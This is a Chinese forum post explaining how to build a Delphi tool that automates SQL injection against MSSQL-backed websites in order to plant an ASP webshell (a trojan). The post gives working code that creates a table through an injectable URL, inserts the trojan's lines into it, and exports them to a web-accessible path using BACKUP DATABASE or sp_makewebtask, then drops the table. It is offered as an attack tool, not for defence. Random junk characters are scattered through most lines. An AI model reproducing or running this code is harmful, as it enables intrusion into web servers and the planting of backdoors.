- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
 |
< >一.通过SQL注入得到WEBSHELL的原理:
1 x2 B! z+ o2 [! a$ v; eN.E.V.E.R的方法:利用数据库备份得到WEBSHELL。创建一个表,在表中建一个字段用来保存木马数据。然后利用MSSQL导出库文件的办法把整个数据导出来,最后再删除新建的表。
* K# k9 m" [! A4 j分析: N.E.V.E.R利用了MSSQL的备份数据库功能。把数据导出来,设想数据库中有<%%>之类的ASP标实符,导出文件,文件名以.ASP的形式保存。然后文件又保存在WEB的路径下。那么这个导出的ASP文件是不是要去解释<%%> 之内的语句呢?如果数据库中有的表中有<%%>标实符,并且这之中有错误,那么我们导出来生成的ASP文件也会有误。不过,这种机会也不太大。 5 @$ m) t6 V V2 j/ @8 V1 o
再来看看CZY的方法吧。
# N w. T& v( `# BCZY的方法:前面的和N.E.V.E.R的方法基本上差不多。只是后面用到了扩展存储过程——sp_makewebtask。这个扩展存储过程的作用就是:可以把MSSQL数据库中的某个表中的记录导出来,以文件的方法保存起来。这种方法就不会出现什么问题原因在于:我们只去读表中的某个字段中的值。把字段的信息导出来生成文件。这个字段中的值都是我们刚加上的。自己在加入数据的时候,先调试一下,没有问题在加入进去,导出来就当然没有问题了。 1 p" T3 t3 r" G
以上两位的方法,我都手工测试过。利用SQL注入漏洞,建表,向表中加数据,然后再导出数据,再删除表。都是利用的SQL语句。这里我就不多说了,大家可以看本期的文章。
' ^ J) R5 C8 S" `7 N' D0 t二.利用DELPHI去实现功能的前言 ) ]& S$ @ E6 X3 Q- J! R" z
原理都分析过了。我们怎么利用DELPHI来实现他们的手工操作呢?其实方法是非常简单的。DELPHI提供了一个NMHTTP控件。我们利用这个控件就可以向某个特定的URL提交参数。然后实现我们的自动注射功能。我马上要为大家讲解的这个程序,有一个特点。也可以说成是一个缺陷吧。程序不去自动猜解WEB的绝对路径。程序不去判断当前连接SQL数据库的当前账号的权限。我为什么要这么做?因为得到这两者用SQL注入是非常难得到的。所以,我们程序发送命令就不会考虑太多。成不成功你执行完自己去看看生成没有就OK了。
, N$ H$ x u9 t/ G. D# m) H9 A* N7 P+ d) h$ |# D, M" a
三.如何利用DELPHI得到WEBSHELL。
; b' n; U" n% _程序中用到的值。我们这里来看看有哪些:URL路径,远程WEB绝对路径(通过其他方法得到,你一定有办法的) 采用什么方法去得到WEBSHELL(也就是两位的方法,你选哪一种)。我们同时要求点击一个按纽开始执行命令,和点击一个按纽来终止命今。最后就是新建的表的名称,以及表的字段名称,再次就是字段的类型。前面的我们在程序中放上输入,选择之类的控件就行了。后面的我们设一个选项按纽点按纽弹出相应设置。再把这些相应的设置用一个RECORD来保存。9 l" w. K) c4 j: b6 M
首先,我们在DIT控件。名称分别是:UrlET //URL路径的输入框、ShellPathET //远程木马的位置、CustomBdoorET//自定义木马的位置。再放两个RadioButton用来选择采用什么方式获取WEBSHELL。CAPTION分别取名为: BackUP DataBase 和 WEB作业。然后再放三个SpeedButtion按纽。名称分别是:设置,开始,停止, 最后再放一个MEMO控件。来显示当前添加的信息。到此界面上的工作就做完了。界面如图: 2 Y% x' ^7 g* A( a' x
: B) q8 d7 w9 F8 t
) V% P6 h+ N( v6 I6 s, E9 p( n8 P8 Q) l8 p6 F
现在来写程序了。
) k, P4 S4 V% u) G% k6 q: @: Q O: J我们首先定义一个RECORD。
, W. z x4 y9 y# @* v/ v* C如下:
9 c O& c) r4 ?- F- E- t- QType
+ q m- G. t: C2 f- I# U% ~8 O# VSetOption = Record & a$ S0 I" `# ~8 ~ @, F. e
TableName : String; //用来保存要创建的表名. 6 T' K- f4 l# U3 f
FieldName : String; //用来保存要创建的字段名. 8 ?, ?7 L1 B' b' P9 l
FiledType : String; //用来保存创建的字段名类型.
* b/ {/ n; e1 w3 C5 B- u( T) T) kEnd;
* [; a x( [) \) V0 _FiledType字段类型的值是以下类型的一种: p# W- o" F ?' M6 D- J# B
Bigint binary bit char datetime decimal float image int money nchar ntext numeric nvarchar real smalldatetime smallint / ?5 Z, `4 w y: h
Smallmoney sql_variant text timestamp tinyint uniqueidentifier varbinary varchar 这些都是MSSQL字段类型值. 2 ?+ ]7 o- D6 q- Z
再定义一个全局变量: , i: X9 w0 {4 `; I- @' {' y
Var 5 P8 T1 s' ~% Q4 c# e
ISStop : Boolean; //用来判断用户是否按下了停止按纽.
! H( l' P @# J' E, Z# O# _好了。在表单创建的过程中,我们为RECORD记录输入默认值.
* B I) m4 j1 ]" P7 J+ Z- V6 |+ k% B代码如下:
0 G# h; ^7 q2 W3 i: ?0 a Yprocedure TMainForm.FormCreate(Sender: TObject); 3 [/ x# [4 t% e
begin
; p: T3 o6 i' e1 msOption.TableName :='cyfd'
- i; r5 I/ F1 N$ a! h2 YsOption.FieldName :='gmemo'
: `2 g2 M. V2 K2 RsOption.FiledType :='text' 2 O, O5 g9 f4 c1 J4 u, G
end;
8 B2 E% r$ J2 T现在我们添加开始执行命令的代码。 8 q( r: h" @& ~1 m
先定义BDoorList 为TstringList。主要目的就是把木马的内容加进来. % l+ p8 }& T) z3 d! N0 s! `8 o
创建两个变量来保存urlET.和ShellPathET的值.方便程序简化调用.
2 [! o) _4 K# f' K0 o7 {8 d在程序开始执行前,我们得先检查一下用户的输入 5 L2 ]. f6 E1 }: A! w& Y5 g
定义一个Checkinput函数.
" G6 X* ?0 {+ E8 H# l4 D如下:
: ]' x" i( G: w% c: dFunction CheckInput : Boolean;
; y; ~, F/ u5 j9 i ~3 W8 v0 yBegin / i8 H" O& z$ {+ @1 U b* X( j
Result := False; 5 [! S3 H2 i. K1 v, t1 p+ @. u
if Trim(urlet.Text) = '' then
# u0 ~% Y! s! j+ v0 K2 V7 q9 OBegin + G! s6 a! C# Y1 ~ I7 Z
Application.MessageBox('请输入URL地址!','提示',mb_ok+mb_iconinformation);
) ^( q# p) }1 M! r. Z& | G, WExit; v" ^7 T0 c3 M, C
End;
* B) h5 m$ ]3 {' b( p% G+ c+ rif Trim(ShellPathET.Text) = '' then ! k: Z3 J- d5 s B! d
Begin 3 \- [* R5 I# C+ `
Application.MessageBox('请输入文件保存地址!','提示',mb_ok+mb_iconinformation);
! x0 Q7 k8 n4 K4 T' C5 O: [Exit;
1 Y9 p- O* J6 }9 p0 }& ? FEnd; . u+ L5 Q( a9 W ~' {
IF DefBDoor.Checked then
2 z( Z1 x4 J6 Q: MBegin - M6 U/ L) B7 @0 y
if Not FileExists(extractfilepath(Application.ExeName)+'默认木马.txt') then 3 C! J5 j' H$ z) d
Begin + c' X1 c# W- ]1 u5 `: Z: _
Application.MessageBox('没有找到 [默认木马.txt] 文件!','提示',mb_ok+mb_iconinformation);
6 M5 p- z0 [ e+ a2 }Exit;
- L8 z3 t7 `, xEnd; : d) e% ~8 y- O! @7 d( b
End
m' l* ?- o' T7 \6 @7 Z- G# @Else
/ Q& h$ X& J% ^if Not FileExists(CustomBdoorET.Text) then
3 x4 H( f4 B/ e6 K6 o; A8 H7 u+ TBegin ' g* A+ |& F( l, h6 `7 M; O
Application.MessageBox('没有找到所选的木马文件!','提示',mb_ok+mb_iconinformation); : W& G% }- W; m6 c+ Z% v- m- J% p
Exit; 3 ~' }5 G: X( T B4 l: c2 t- ?+ L+ A
End; ! R1 K9 s/ a* C) L5 t
Result := True;
# e) Y0 T# ~( Y2 p+ ~7 d$ iEnd;
! k" Q& K5 M9 |8 H- \在最开始加入:
8 e* _- C2 e; c' q7 \IF Not CheckInput then Exit; //如果输入不合法就退出过程.
; E3 H; l+ f5 w" y8 `4 ]; o, \9 R( {好了,如果用户输入没什么错,我们就来下面的代码。
+ w+ N) \1 \, f% K. D首先我们把IsStop设为假。创建BdoorList。
5 @. m; L9 o0 JBDoorList := TstringList.Create;
# u1 q% }+ c; B* {再加木马内容到BDoorlist.
* Q3 n& g" P/ ^+ P# Z. |9 b! UBDoorList.LoadFromFile(CustomBdoorET.text); ' M7 j+ V: V* y6 S
好了,在这里我还要给大家说一下:用NMHTTP提交数据的时候.要把输入的一些特别符号转达成编码。我们这里要把空格和%符号替换成相应的编码分别是:%20和%25,不然.程序加不进数据。
) H. k' F6 m: Y, x2 D' c7 d代码如下: & U5 s& y" d, c- [
BDoorList.Text:=StringReplace(BDoorList.Text,'%','%25',[rfReplaceAll]); . c0 N7 M s5 o
BDoorList.Text:=StringReplace(BDoorList.Text,' ','%20',[rfReplaceAll]);
, h! E/ o. W# _9 |接下来.我们就提交建表的功能了. / Y1 Z) m3 M7 T% ]
Memo.Lines.Add('建表...'); ' R+ p; K0 p1 G' \, L, P( _* _, U
Memo.Lines.Add(''); NMHttp.Get(Url+'CREATE%20TABLE%20[dbo].['+sOption.TableName+']%20(['+sOption.FieldName+']%20['+sOption.FiledType+']);'); % z E/ ~8 J0 Z) L
这样我们就创建了一个表。然后.我们向表中加记录: 1 F" t; P' Z% E$ z7 d% z# J4 X
代码如下: ) D. k' D1 n! \5 t
Memo.Lines.Add('加数据...'); 1 K& f7 S' l# H7 K# g1 J
Memo.Lines.Add('');
. y- k$ N- c+ I4 [) T9 AFor i:=0 to BDoorList.Count-1 do //这里用一个循环把木马的内容加进表中去.
2 B2 F( o6 Y. I8 o$ \, e" JBegin
$ p# i9 X( a' O/ l) g. Z' W5 RIF IsStop then //这里如果点了停止按纽程序将终止任务.
5 \7 ^5 N( d Z, \; T+ ^+ xBegin
, B7 ]( O( V/ ]' |1 iBDoorList.Free; : Q) a8 j# G2 C @4 b+ D; _6 ~
Exit; - y/ ~3 W, _; f y7 m
End; NMhttp.Get(Url+'Insert%20into%20'+sOption.TableName+'%20('+sOption.FieldName+')%20values%20('''+BDoorList.Strings+''');'); # U$ W( D! ~( q& X" D$ C
Memo.Lines.Add('Add Line '+Inttostr(i+1));
( j( {* i5 Q- E$ B3 w1 tEnd;
# [/ T5 j$ A, @5 |0 C" q: T! c9 Q现在就是导出数据生成木马了.
' ~2 ]1 w# H K, ~5 R" X; gMemo.Lines.Add('导出数据...');
W7 V6 e: W4 K& \1 T8 {Memo.Lines.Add(''); 7 r9 Q& u- U @9 G$ }" c6 p2 E) H+ C
IF BKData.Checked then //如果选中采用备份数据就执行下面的命令.
9 Q" t L6 `& P: Z* dNMhttp.Get(Url+'declare%20@a%20sysname;select%20@a=db_name();backup%20database%20@a%20to%20disk='''+ShellPath+'''') 5 \: E& s% n7 ^6 c4 n% C# v/ f
Else //如果是用WEB作业的形式. NMhttp.Get(Url+'EXECUTE%20sp_makewebtask%20@outputfile='''+ShellPath+''',@query='''+'select%20'+sOption.FieldName+'%20from%20'+sOption.TableName+''''); ; v! g' ? }# G; r, |0 J7 o0 v
我们再删除刚建的表。NMHttp.Get(Url+'drop%20TABLE%20[dbo].['+sOption.TableName+'];'); * q m/ }1 F; ~7 q c. n
这样我们的任务就完成了。下面来释放变量.
9 ?; K6 H& ^, A% \" ~" n' t4 ~BDoorList.Free;
( p9 _1 W2 C! G( ^( l0 K9 D* Y2 W再来向停止按纽中添加点击事件:
- ?! S4 C, A5 T% V# y一行代码就行了:IsStop := True; . d/ K6 F3 c0 |* e1 l, g$ v6 N
到这里主表单的内容基本上完成了。现在我们来看设置表单中怎么来设置.其实非常简单.主表单中已经定义了一个RECORD.我们只需要将用户输入的新值,再次赋给RECORD就行了。
% f" i1 u$ u1 |设置表单中先引用主表单.然后在界面中添加二个EDIT控件:
) |+ _+ L; j" z6 W, {" M第一个名称为:TableNameET //保用户输入的存临时表
' O4 |6 C8 { E6 s: O/ y0 l第二个名称为:FieldNameET //用来保存用户输入的字段名.
1 a( z: `6 a% s2 P, t再添加一个Combobox //用来保存用户所选的字段类型值.
" P% ^- c2 y1 @# f- U名称:FieldTypeCombox
4 v. X( Q6 U/ V) [! v3 mOK.界面如下: ! L& g X4 e) z& S
3 @6 `& r# Y+ a; A) f; T9 j
代码如下: / ]- K- z; }9 M
定义一个过程,主表单好调用这个设置。 $ j4 z$ G" r. x. h3 ]$ H
Procedure ShowSet; " \( L+ K6 \3 {* {/ `
Begin
* v6 E: Z5 ^! P$ \ n0 q; [+ AApplication.CreateForm(TSetForm,SetForm);
, Q9 P _8 ^/ y# }( h/ d* k% dWith SetForm do
6 @$ M6 m; E: a' c1 Y8 VBegin
, ]! Y' [# J5 xTableNameET.Text := sOption.TableName; f: _7 S* S5 F/ k' H; [
FieldNameET.Text := sOption.FieldName; * ]& W. x) I; j0 M
FieldTypeCombox.ItemIndex := FieldTypeCombox.Items.IndexOf(sOption.FiledType); ! m( R {0 I. G" }; ~9 [: ]+ V
End;
6 ^! e) e( f& f# U- N! V+ U8 ^" w3 SSetForm.ShowModal;
7 k% k1 a0 ~0 K3 _. A: \SetForm.Free; . [' A1 B( K- L4 h
End;
8 w) U, H" W& Z A% Z& o在主表单中设置的点击事件中添加上showset过程就行了。
- `; @8 x j% ^, T0 D7 y下面就是点击确定的代码了。
) z8 V+ o' G/ J; VIF CheckInput then
( n e! q }8 t& L. N2 J# V# RBegin
: e2 y, d- c# h6 @sOption.TableName := Trim(TableNameET.Text); //把用户的输入赋给RECORD.
: `1 }8 w- ^6 t- _# M; IsOption.FieldName := Trim(FieldNameET.Text);
1 j1 I% D s- ^! P% d* usOption.FiledType := FieldTypeCombox.Text; * F# r. X- y* n
Close; + ]( }8 y0 B3 m# w
End; " Z$ ^& r( Q% P3 I7 S: k
这里又有一个CheckInput主要就是检查用户输入的值是不是合法。
: I; H# B! `+ V* |& d代码如下: 0 h! f [3 s# M5 X7 o
Function CheckInput : Boolean;
, l s* v! p+ ~. q, @) `, i# V. A/ r) ]Begin
" @6 d E6 ^# }* q" g* rResult := False;
2 |1 v' ]5 P& Y' c6 P2 M4 IIF Trim(TableNameET.Text)='' then $ d3 w: {% S( _5 d% u. a
Begin
4 o8 k, I: K0 t- Q, W9 W& ~5 mApplication.MessageBox('请输入临时表名!','提示',mb_ok+mb_iconinformation);
2 Z: b: L- P% Y. YExit; ! A1 ?7 M/ n* R* h
End;
5 n& b" L: R) z/ g0 @* ?IF Trim(FieldNameET.Text)='' then * ^# q r4 d$ D
Begin 4 A2 g+ C* P0 E/ b: u6 F# m
Application.MessageBox('请输入字段名!','提示',mb_ok+mb_iconinformation); $ e/ C/ H6 _/ O% b9 j7 D: C8 d# W
Exit;
+ f. J2 W" S4 G6 oEnd;
4 B3 Z9 {6 \7 iResult := True;
3 O, ]; N& I+ LEnd; 4 d& J( ?& x9 s7 z( s9 \" F0 B7 Z2 _
到这里程序就完了。</P> |
zan
|